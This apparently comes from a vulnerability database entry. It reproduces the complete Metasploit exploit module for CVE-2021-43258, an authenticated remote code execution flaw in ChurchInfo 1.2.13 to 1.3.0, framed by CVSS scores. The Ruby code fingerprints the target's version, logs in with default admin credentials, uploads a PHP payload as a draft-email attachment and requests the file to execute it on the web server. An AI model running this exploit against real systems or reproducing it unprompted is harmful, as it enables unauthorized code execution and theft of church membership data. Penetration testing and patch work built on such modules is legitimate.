CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
94.2%
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment. By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and then browsing to the location of the uploaded PHP file on the web server, arbitrary code execution as the web daemon user (e.g. www-data) can be achieved.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
'Description' => %q{
This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
then browsing to the location of the uploaded PHP file on the web server, arbitrary code
execution as the web daemon user (e.g. www-data) can be achieved.
},
'License' => MSF_LICENSE,
'Author' => [ 'm4lwhere <[email protected]>' ],
'References' => [
['URL', 'http://www.churchdb.org/'],
['URL', 'http://sourceforge.net/projects/churchinfo/'],
['CVE', '2021-43258']
],
'Platform' => 'php',
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
# Set the email subject and message if interested
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
]
)
end
def check
if datastore['SSL'] == true
proto_var = 'https'
else
proto_var = 'http'
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'GET',
'vars_get' => {
'Proto' => proto_var,
'Path' => target_uri.path
}
)
unless res
return CheckCode::Unknown('Target did not respond to a request to its login page!')
end
# Check if page title is the one that ChurchInfo uses for its login page.
if res.body.match(%r{<title>ChurchInfo: Login</title>})
print_good('Target is ChurchInfo!')
else
return CheckCode::Safe('Target is not running ChurchInfo!')
end
# Check what version the target is running using the upgrade pages.
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
'method' => 'GET'
)
if res && (res.code == 500 || res.code == 200)
return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
else
return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
end
end
#
# The exploit method attempts a login, adds items to the cart, then creates the email attachment.
# Adding items to the cart is required for the server-side code to accept the upload.
#
def exploit
# Need to grab the PHP session cookie value first to pass to application
vprint_status('Gathering PHP session cookie')
if datastore['SSL'] == true
vprint_status('SSL is true, changing protocol to HTTPS')
proto_var = 'https'
else
vprint_status('SSL is false, leaving protocol as HTTP')
proto_var = 'http'
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'GET',
'vars_get' => {
'Proto' => proto_var,
'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
},
'keep_cookies' => true
)
# Ensure we get a 200 from the application login page
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
end
# Check that we actually are targeting a ChurchInfo server.
unless res.body.match(%r{<title>ChurchInfo: Login</title>})
fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
end
# Grab our assigned session cookie
cookie = res.get_cookies
vprint_good("PHP session cookie is #{cookie}")
vprint_status('Attempting login')
# Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'Default.php'),
'method' => 'POST',
'vars_post' => {
'User' => datastore['USERNAME'],
'Password' => datastore['PASSWORD'],
'sURLPath' => datastore['TARGETURI']
}
)
# A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
end
vprint_good("Location header is #{res.headers['Location']}")
print_good("Logged into application as #{datastore['USERNAME']}")
vprint_status('Attempting exploit')
# We must add items to the cart before we can send the emails. This is a hard requirement server-side.
print_status('Navigating to add items to cart')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
'method' => 'GET',
'vars_get' => {
'mode' => 'person',
'AddAllToCart' => 'Add+to+Cart'
}
)
# Need to check that items were successfully added to the cart
# Here we're looking through html for the version string, similar to:
# Items in Cart: 2
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
end
cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
unless cart_items
fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
end
if cart_items['cart'].to_i < 1
print_error('No items in cart detected')
fail_with(Failure::UnexpectedReply,
'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
end
print_good("Items in Cart: #{cart_items}")
# Uploading exploit as temporary email attachment
print_good('Uploading exploit via temp email attachment')
payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
vprint_status("Payload name is #{payload_name}")
# Create the POST payload with required parameters to be parsed by the server
post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, 'application/octet-stream', nil,
"form-data; name=\"Attach\"; filename=\"#{payload_name}\"")
post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
file = post_data.to_s
file.strip!
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'CartView.php'),
'method' => 'POST',
'data' => file,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
# Ensure that we get a 200 and the intended payload was
# successfully uploaded and attached to the draft email.
unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
fail_with(Failure::Unknown, 'Failed to upload the payload.')
end
print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")
# Have our payload deleted after we exploit
register_file_for_cleanup(payload_name)
# Make a GET request to the PHP file that was uploaded to execute it on the target server.
print_good('Executing payload with GET request')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
'method' => 'GET'
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
94.2%